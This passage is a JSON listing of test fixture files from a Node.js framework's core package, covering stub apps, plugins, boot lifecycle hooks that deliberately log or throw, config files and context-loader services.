    "content": "{\n  \"name\": \"app-outdir-tsconfig\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-outdir-tsconfig/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"outDir\": \"build\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-ts/app-error.ts",
    "content": "import { BaseContextClass, EggCore } from '../../..';\n\n// normal\nconst app = new EggCore<{ env: string }>();\nconsole.info(app.abb);\nconsole.info(app.Controller.abc);\nconsole.info(app.Service.bbc);\nconsole.info(app.config.env);\nconsole.info(app.config.env.substring(0));\nconsole.info(app.config.env.checkEnvType());\napp.loader.loadPlugin();\napp.loader.loadConfig();\napp.loader.loadApplicationExtend();\napp.loader.loadAgentExtend();\napp.loader.loadRequestExtend();\napp.loader.loadResponseExtend();\napp.loader.loadContextExtend();\napp.loader.loadHelperExtend();\napp.loader.loadCustomAgent();\napp.loader.loadService();\napp.loader.loadController();\napp.loader.loadRouter();\napp.loader.loadMiddleware();\nnew BaseContextClass({ app: {} }).ctx;\n"
  },
  {
    "path": "packages/core/test/fixtures/app-ts/app.ts",
    "content": "import * as assert from 'assert';\nimport * as path from 'path';\nconst EGG_LOADER = Symbol.for('egg#loader');\nconst EGG_PATH = Symbol.for('egg#eggPath');\nimport { BaseContextClass, EggCore, EggCoreOptions, EggLoader, EggLoaderOptions } from '../../..';\n\n// normal\nconst app = new EggCore<{ env: string }>();\nassert(app.Controller);\nassert(app.Service);\nassert(app.baseDir);\nassert(app.loader.ContextLoader);\nassert(app.loader.FileLoader);\nassert(app.loader.app === app);\nassert(app.loader.eggPaths.length === 0);\nassert(app.type);\n\n// custom egg core\nclass CustomEggCore extends EggCore {\n  constructor(options: EggCoreOptions) {\n    super(options);\n  }\n\n  get [EGG_PATH]() {\n    return __dirname;\n  }\n\n  customFn() {\n    console.info(this.config);\n  }\n}\nconst customApp = new CustomEggCore({ baseDir: undefined });\ncustomApp.customFn();\nassert(customApp.Controller);\nassert(customApp.Service);\nassert(customApp.loader.ContextLoader);\nassert(customApp.loader.FileLoader);\n\n// base class\nnew BaseContextClass({ app: {} });\n\n// ready & close\n(async function test() {\n  const app2 = new EggCore({\n    baseDir: path.resolve(__dirname, '../app-getter/'),\n  });\n  assert(app2.type === 'application');\n  assert(app2.name === 'app-getter');\n  assert(app2.plugins === app.loader.plugins);\n  app2.beforeClose(() => {});\n  app2.beforeStart(() => {});\n  const result = await app2.toAsyncFunction<{ env: number }>(function* () {\n    return yield { env: 1 };\n  })();\n  assert(result.env === 1);\n  await app2.toPromise([\n    function* () {\n      yield {};\n    },\n    function* () {\n      yield {};\n    },\n  ]);\n  await app2.ready();\n  await app2.close();\n})().catch((e) => {\n  console.error(e);\n  process.exit(1);\n});\n\n// load methods\nclass MyEgg extends EggCore {\n  get [EGG_LOADER]() {\n    return MyLoader;\n  }\n\n  get [EGG_PATH]() {\n    return __dirname;\n  }\n}\nclass MyLoader extends EggLoader {\n  constructor(opt: EggLoaderOptions) {\n    super(opt);\n    this.loadPlugin();\n    this.loadConfig();\n    this.loadApplicationExtend();\n    this.loadAgentExtend();\n    this.loadRequestExtend();\n    this.loadResponseExtend();\n    this.loadContextExtend();\n    this.loadHelperExtend();\n    this.loadCustomAgent();\n    this.loadService();\n    this.loadController({ ignore: ['**/node_module'] });\n    this.loadRouter();\n    this.loadMiddleware({ ignore: ['**/node_module'] });\n  }\n}\nconst app3 = new MyEgg({ baseDir: path.resolve(__dirname, '../app-getter/') });\nassert(app3.plugins === app3.loader.plugins);\nassert(app3.config === app3.loader.config);\nassert(app3.deprecate);\napp3.deprecate('is deprecate');\n\n// loadTo\nconst app4 = { context: {} } as any;\nconst baseDir = path.join(__dirname, '../load_to_app');\nconst directory = path.join(baseDir, 'app/model');\nconst loader = new EggLoader({\n  baseDir,\n  app: app4,\n  logger: console as any,\n});\nloader.loadToApp(directory, 'model');\nassert(app4.model.user);\nloader.loadToContext(directory, 'model');\nassert(app4.context.model.user);\n\n// loadTo with options\nconst app5 = { context: {} } as any;\nconst baseDir2 = path.join(__dirname, '../load_dirs');\nconst loader2 = new EggLoader({\n  baseDir: baseDir2,\n  app: app5,\n  logger: console as any,\n});\nloader2.loadToApp('dao', 'dao', { match: '**/test*.js', caseStyle: 'lower' });\nassert(app5.dao);\nloader2.loadToContext('dao', 'dao', {\n  caseStyle: 'lower',\n  ignore: ['testFunction.js', 'testReturnFunction.js'],\n});\nassert(app5.context.dao);\nassert(loader2.loadFile(path.resolve(baseDir2, './dao/testFunction')));\nassert(loader2.loadFile(path.resolve(baseDir2, './dao/testFunction'), { abc: 123 }));\n\n// file loader\nconst FileLoader = loader.FileLoader;\nconst app6 = {} as any;\nnew FileLoader({\n  directory: path.join(__dirname, '../load_dirs'),\n  target: app6,\n  match: ['dao/*'],\n  caseStyle: 'upper',\n  filter(obj) {\n    return !!obj;\n  },\n  initializer(obj, options) {\n    assert(options.path);\n    assert(options.pathName);\n    return obj;\n  },\n}).load();\nassert(app6.Dao.TestClass);\nassert(app6.Dao.TestFunction);\n\n// custom file loader\nconst app9 = {} as any;\nclass CustomFileLoader extends FileLoader {\n  test() {\n    assert(this.load);\n    assert(this.parse);\n  }\n}\nnew CustomFileLoader({\n  directory: path.join(__dirname, '../load_dirs'),\n  target: app9,\n  match: ['dao/*'],\n  caseStyle: 'upper',\n  filter(obj) {\n    return !!obj;\n  },\n  initializer(obj, options) {\n    assert(options.path);\n    assert(options.pathName);\n    return obj;\n  },\n}).test();\n\n// context loader\nconst ContextLoader = loader.ContextLoader;\nconst app7 = { context: {} } as any;\nnew ContextLoader({\n  directory: path.join(__dirname, '../load_dirs'),\n  property: 'kick',\n  fieldClass: 'ass',\n  inject: app7,\n  match: ['dao/*'],\n  caseStyle: 'upper',\n  filter(obj) {\n    return !!obj;\n  },\n  initializer(obj, options) {\n    assert(options.path);\n    assert(options.pathName);\n    return obj;\n  },\n}).load();\nassert(app7.ass.Dao.TestClass);\nassert(app7.ass.Dao.TestFunction);\nassert(app7.context.kick.Dao.TestClass);\nassert(app7.context.kick.Dao.TestFunction);\n\n// custom context loader\nconst app8 = { context: {} } as any;\nclass CustomContextLoader extends ContextLoader {\n  test() {\n    this.load();\n    assert(this.parse);\n  }\n}\nnew CustomContextLoader({\n  directory: path.join(__dirname, '../load_dirs'),\n  property: 'kick',\n  fieldClass: 'ass',\n  inject: app8,\n  match: ['dao/*'],\n  caseStyle: 'upper',\n  filter(obj) {\n    return !!obj;\n  },\n  initializer(obj, options) {\n    assert(options.path);\n    assert(options.pathName);\n    return obj;\n  },\n}).test();\n"
  },
  {
    "path": "packages/core/test/fixtures/app-ts/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"target\": \"es2017\",\n    \"module\": \"commonjs\",\n    \"strict\": true\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/appinfo/package.json",
    "content": "{\n  \"name\": \"appinfo\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/application/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {\n  foo: 'app bar',\n  bar: 'foo',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/application/app/extend/context.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/application/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: true,\n  b: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/application/node_modules/a/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: 'plugin a',\n  poweredBy: 'plugin a',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/application/node_modules/a/package.json",
    "content": "{\n  \"name\": \"a\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/application/node_modules/b/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {\n  b: 'plugin b',\n  foo: 'bar plugin b',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/application/node_modules/b/package.json",
    "content": "{\n  \"name\": \"b\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/application/package.json",
    "content": "{\n  \"name\": \"application\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/appname/package.json",
    "content": "{\n  \"name\": \"appname\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = function (app) {\n  app.beforeStart(function () {\n    app.beforeStartFunction = true;\n  });\n  app.beforeStart(async function () {\n    await scheduler.wait(1000);\n    app.beforeStartGeneratorFunction = true;\n  });\n  app.beforeStart(async function () {\n    await scheduler.wait(1000);\n    app.beforeStartTranslateAsyncFunction = true;\n  });\n  app.beforeStart(async () => {\n    await scheduler.wait(1000);\n    app.beforeStartAsyncFunction = true;\n  });\n  app.beforeStartFunction = false;\n  app.beforeStartTranslateAsyncFunction = false;\n  app.beforeStartGeneratorFunction = false;\n  app.beforeStartAsyncFunction = false;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart/package.json",
    "content": "{\n  \"name\": \"beforestart\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart-error/app.js",
    "content": "module.exports = (app) => {\n  app.isReady = true;\n  app.beforeStart(async () => {\n    if (!app.isReady) throw new Error('not ready');\n  });\n  app.isReady = false;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart-error/package.json",
    "content": "{\n  \"name\": \"beforestart-error\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart-params-error/app.js",
    "content": "module.exports = function (app) {\n  app.beforeStart();\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart-params-error/package.json",
    "content": "{\n  \"name\": \"beforestart-params-error\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart-timeout/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = function (app) {\n  app.beforeStart(async () => {\n    await scheduler.wait(11000);\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart-timeout/package.json",
    "content": "{\n  \"name\": \"beforestart-timeout\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart-with-timeout-env/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = function (app) {\n  app.beforeStart(async () => {\n    await scheduler.wait(11000);\n    app.beforeStartFunction = true;\n  });\n  app.beforeStartFunction = false;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/beforestart-with-timeout-env/package.json",
    "content": "{\n  \"name\": \"beforestart-with-timeout-env\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/agent.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = class {\n  constructor(app) {\n    this.app = app;\n    app.bootLog = [];\n  }\n\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad in app');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didReady');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n\n  async serverDidReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('serverDidReady');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app/plugin/boot-plugin/agent.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (agent) => {\n  agent.bootLog.push('agent.js in plugin');\n  agent.beforeStart(async () => {\n    await scheduler.wait(5);\n    agent.bootLog.push('beforeStart');\n  });\n\n  agent.ready(() => {\n    agent.bootLog.push('ready');\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app/plugin/boot-plugin/app.js",
    "content": "const assert = require('assert');\nconst { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  app.bootLog.push('app.js in plugin');\n  // make sure app.js change app.config.appSet = true on configWillLoad\n  assert(app.config.appSet === true);\n  app.beforeStart(async () => {\n    await scheduler.wait(5);\n    app.bootLog.push('beforeStart');\n  });\n\n  app.ready(() => {\n    app.bootLog.push('ready');\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app/plugin/boot-plugin/package.json",
    "content": "{\n  \"name\": \"bootPlugin\",\n  \"eggPlugin\": {\n    \"name\": \"bootPlugin\",\n    \"dependencies\": [\n      \"bootPluginDep\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app/plugin/boot-plugin-dep/agent.js",
    "content": "'use strict';\n\nmodule.exports = class Boot {\n  constructor(agent) {\n    this.agent = agent;\n  }\n  configDidLoad() {\n    this.agent.bootLog.push('configDidLoad in plugin');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app/plugin/boot-plugin-dep/app.js",
    "content": "'use strict';\n\nmodule.exports = class Boot {\n  constructor(app) {\n    this.app = app;\n  }\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad in plugin');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app/plugin/boot-plugin-dep/package.json",
    "content": "{\n  \"name\": \"bootPluginDep\",\n  \"eggPlugin\": {\n    \"name\": \"bootPluginDep\",\n    \"deps\": [\n      \"bootPuginDep\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app/plugin/boot-plugin-empty/app.js",
    "content": "'use strict';\n\nmodule.exports = 'not function';\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app/plugin/boot-plugin-empty/package.json",
    "content": "{\n  \"name\": \"bootPluginEmpty\",\n  \"eggPlugin\": {\n    \"name\": \"bootPluginEmpty\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = class {\n  constructor(app) {\n    app.bootLog = [];\n    this.app = app;\n  }\n\n  configWillLoad() {\n    this.app.config.appSet = true;\n  }\n\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad in app');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didReady');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n\n  async serverDidReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('serverDidReady');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.bootPlugin = {\n  enable: true,\n  path: path.join(__dirname, '../app/plugin/boot-plugin'),\n};\nexports.bootPluginDep = {\n  enable: true,\n  path: path.join(__dirname, '../app/plugin/boot-plugin-dep'),\n};\nexports.bootPluginEmpty = {\n  enable: true,\n  path: path.join(__dirname, '../app/plugin/boot-plugin-empty'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot/package.json",
    "content": "{\n  \"name\": \"boot\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-before-close/app/plugin/boot-plugin/app.js",
    "content": "module.exports = class BootHook {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async beforeClose() {\n    this.app.bootLog.push('beforeClose in plugin');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-before-close/app/plugin/boot-plugin/package.json",
    "content": "{\n  \"name\": \"bootPlugin\",\n  \"eggPlugin\": {\n    \"name\": \"bootPlugin\",\n    \"dependencies\": [\n      \"bootPluginDep\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-before-close/app/plugin/boot-plugin-dep/app.js",
    "content": "module.exports = (app) => {\n  app.beforeClose(async () => {\n    app.bootLog.push('beforeClose in plugin dep');\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-before-close/app/plugin/boot-plugin-dep/package.json",
    "content": "{\n  \"name\": \"bootPluginDep\",\n  \"eggPlugin\": {\n    \"name\": \"bootPluginDep\",\n    \"deps\": [\n      \"bootPuginDep\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-before-close/app.js",
    "content": "module.exports = class BootHook {\n  constructor(app) {\n    this.app = app;\n    this.app.bootLog = this.app.bootLog || [];\n  }\n\n  async beforeClose() {\n    this.app.bootLog.push('beforeClose in app');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-before-close/config/plugin.js",
    "content": "const path = require('path');\n\nexports.bootPlugin = {\n  enable: true,\n  path: path.join(__dirname, '../app/plugin/boot-plugin'),\n};\n\nexports.bootPluginDep = {\n  enable: true,\n  path: path.join(__dirname, '../app/plugin/boot-plugin-dep'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-before-close/package.json",
    "content": "{\n  \"name\": \"boot-before-close\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-configDidLoad-error/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = class {\n  constructor(app) {\n    app.bootLog = [];\n    this.app = app;\n  }\n\n  configDidLoad() {\n    throw new Error('configDidLoad error');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didReady');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-configDidLoad-error/package.json",
    "content": "{\n  \"name\": \"boot-configDidLoad-error\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-didLoad-error/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = class {\n  constructor(app) {\n    this.app = app;\n    this.app.bootLog = [];\n  }\n\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    throw new Error('didLoad error');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didReady');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-didLoad-error/package.json",
    "content": "{\n  \"name\": \"boot-didLoad-error\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-didReady-error/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = class {\n  constructor(app) {\n    this.app = app;\n    app.bootLog = [];\n  }\n\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    throw new Error('didReady error');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-didReady-error/package.json",
    "content": "{\n  \"name\": \"boot-didReady-error\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-serverDidLoad-error/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = class {\n  constructor(app) {\n    this.app = app;\n    app.bootLog = [];\n  }\n\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didReady');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n\n  async serverDidReady() {\n    await scheduler.wait(1);\n    throw new Error('serverDidReady failed');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-serverDidLoad-error/package.json",
    "content": "{\n  \"name\": \"boot\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-timeout/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = class TimeoutHook {\n  async didLoad() {\n    await scheduler.wait(10);\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-timeout/package.json",
    "content": "{\n  \"name\": \"boot-timeout\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-willReady-error/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = class {\n  constructor(app) {\n    this.app = app;\n    app.bootLog = [];\n  }\n\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    throw new Error('willReady error');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didReady');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/boot-willReady-error/package.json",
    "content": "{\n  \"name\": \"boot-willReady-error\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/close/package.json",
    "content": "{\n  \"name\": \"close\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/config/app/controller/foo.js",
    "content": "'use strict';\n\nvar util = require('./util/a');\nmodule.exports = function () {\n  return {\n    a: function* () {\n      util.b();\n      this.body = 'hello';\n    },\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/config/app/controller/util/a.js",
    "content": "module.exports = {\n  a: 1,\n  b: function () {},\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/config/app/services/foo.js",
    "content": "'use strict';\nvar util = require('./util/bar');\n\nmodule.exports = function () {\n  return {\n    bar: function* (ctx) {\n      console.log(ctx);\n    },\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/config/app/services/util/bar.js",
    "content": "exports.a = 1;\n"
  },
  {
    "path": "packages/core/test/fixtures/config/config/config.js",
    "content": "'use strict';\n\nexports.loader = {\n  service: { ignore: 'util/**' },\n  controller: { ignore: 'util/**' },\n};\n\nexports.name = 'config-test';\n\nexports.test = 1;\n\nexports.urllib = {\n  keepAlive: false,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/config/package.json",
    "content": "{\n  \"name\": \"loader_config\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/config-array/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    path: path.join(__dirname, '../plugin/a'),\n  },\n  b: {\n    enable: true,\n    path: path.join(__dirname, '../plugin/b'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/config-array/package.json",
    "content": "{\n  \"name\": \"config-array\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/config-array/plugin/a/config/config.default.js",
    "content": "'use strict';\n\nexports.array = [1, 2, 3];\n"
  },
  {
    "path": "packages/core/test/fixtures/config-array/plugin/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/config-array/plugin/b/config/config.default.js",
    "content": "'use strict';\n\nexports.array = [1, 2];\n"
  },
  {
    "path": "packages/core/test/fixtures/config-array/plugin/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\",\n    \"dependencies\": [\n      \"a\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/config-env/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  egg: 'config-default',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/config-env/package.json",
    "content": "{\n  \"name\": \"config-env\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/config-env-app-config/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  egg: 'config-default',\n  foo: {\n    bar: 'a',\n    bar2: 'b',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/config-env-app-config/package.json",
    "content": "{\n  \"name\": \"config-env-app-config\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/configmeta/config/config.js",
    "content": "const HttpClient = require('urllib').HttpClient;\nconst urllib = new HttpClient();\n\nexports.urllib = {\n  keepAlive: false,\n  foo: null,\n  bar: undefined,\n  n: 1,\n  dd: new Date(),\n  httpclient: urllib,\n};\n\nexports.buffer = Buffer.from('1234');\nexports.array = [];\n\nexports.console = console;\n\nexports.zero = 0;\nexports.number = 1;\nexports.ok = true;\nexports.f = false;\nexports.no = null;\nexports.empty = {};\nexports.date = new Date();\nexports.ooooo = urllib;\n"
  },
  {
    "path": "packages/core/test/fixtures/configmeta/package.json",
    "content": "{\n  \"name\": \"configmeta\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/depth/four/four/four/four.js",
    "content": "'use strict';\n\nmodule.exports = class Four {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  get() {\n    return this.ctx.name + ':four';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/depth/one.js",
    "content": "'use strict';\n\nmodule.exports = class One {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  get() {\n    return this.ctx.name + ':one';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/depth/three/three/three.js",
    "content": "'use strict';\n\nmodule.exports = class Three {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  get() {\n    return this.ctx.name + ':three';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/depth/two/two.js",
    "content": "'use strict';\n\nmodule.exports = class Two {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  get() {\n    return this.ctx.name + ':two';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/extend/context.js",
    "content": "'use strict';\n\nmodule.exports = {\n  name: 'context',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/pathname/a/b/c.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class xxx extends app.BaseContextClass {\n    async getPathname() {\n      return this.pathName;\n    }\n\n    async getName() {\n      return this.config.name;\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/depth', async function () {\n    this.body = {\n      one: this.depth.one.get(),\n      two: this.depth.two.two.get(),\n      three: this.depth.three.three.three.get(),\n      four: this.depth.four.four.four.four.get(),\n    };\n  });\n\n  app.get('/type', async function () {\n    this.body = {\n      class: this.type.class.get(),\n      functionClass: this.type.functionClass.get(),\n      object: this.type.object.get(),\n      generator: await this.type.generator(),\n      null: this.type.null,\n      number: this.type.number,\n    };\n  });\n\n  app.get('/service', async function () {\n    this.body = {\n      service1: this.service1.user.userInfo,\n      service2: this.service2.user.userInfo,\n    };\n  });\n\n  app.get('/pathname', async function () {\n    this.body = await this.pathname.a.b.c.getPathname();\n  });\n\n  app.get('/config', async function () {\n    this.body = await this.pathname.a.b.c.getName();\n  });\n\n  app.get('/BaseContextClass/service', async function () {\n    this.body = this.service.user.info;\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/service/post.js",
    "content": "'use strict';\n\nmodule.exports = (app) =>\n  class UserService1 extends app.Service {\n    get postInfo() {\n      return 'post';\n    }\n  };\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/service/user.js",
    "content": "'use strict';\n\nmodule.exports = (app) =>\n  class UserService1 extends app.Service {\n    get info() {\n      const post = this.service.post.postInfo;\n      return `user:${post}`;\n    }\n  };\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/service1/user.js",
    "content": "'use strict';\n\nmodule.exports = (app) =>\n  class UserService1 extends app.Service {\n    get userInfo() {\n      return 'service1';\n    }\n  };\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/service2/user.js",
    "content": "'use strict';\n\nmodule.exports = (app) =>\n  class UserService2 extends app.Service {\n    get userInfo() {\n      return 'service2';\n    }\n  };\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/type/class.js",
    "content": "'use strict';\n\nmodule.exports = class Service {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n  get() {\n    return this.ctx.name;\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/type/function-class.js",
    "content": "'use strict';\n\nmodule.exports = (app) =>\n  class Service {\n    constructor(ctx) {\n      this.ctx = ctx;\n    }\n    get() {\n      return this.ctx.name + ':' + app.config.name;\n    }\n  };\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/type/generator.js",
    "content": "module.exports = async function () {\n  return 'generator';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/type/null",
    "content": "'use strict';\n\nmodule.exports = null;\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/type/number.js",
    "content": "'use strict';\n\nmodule.exports = 1;\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/app/type/object.js",
    "content": "'use strict';\n\nmodule.exports = {\n  get() {\n    return 'object.get';\n  },\n};\n"
  },
  {
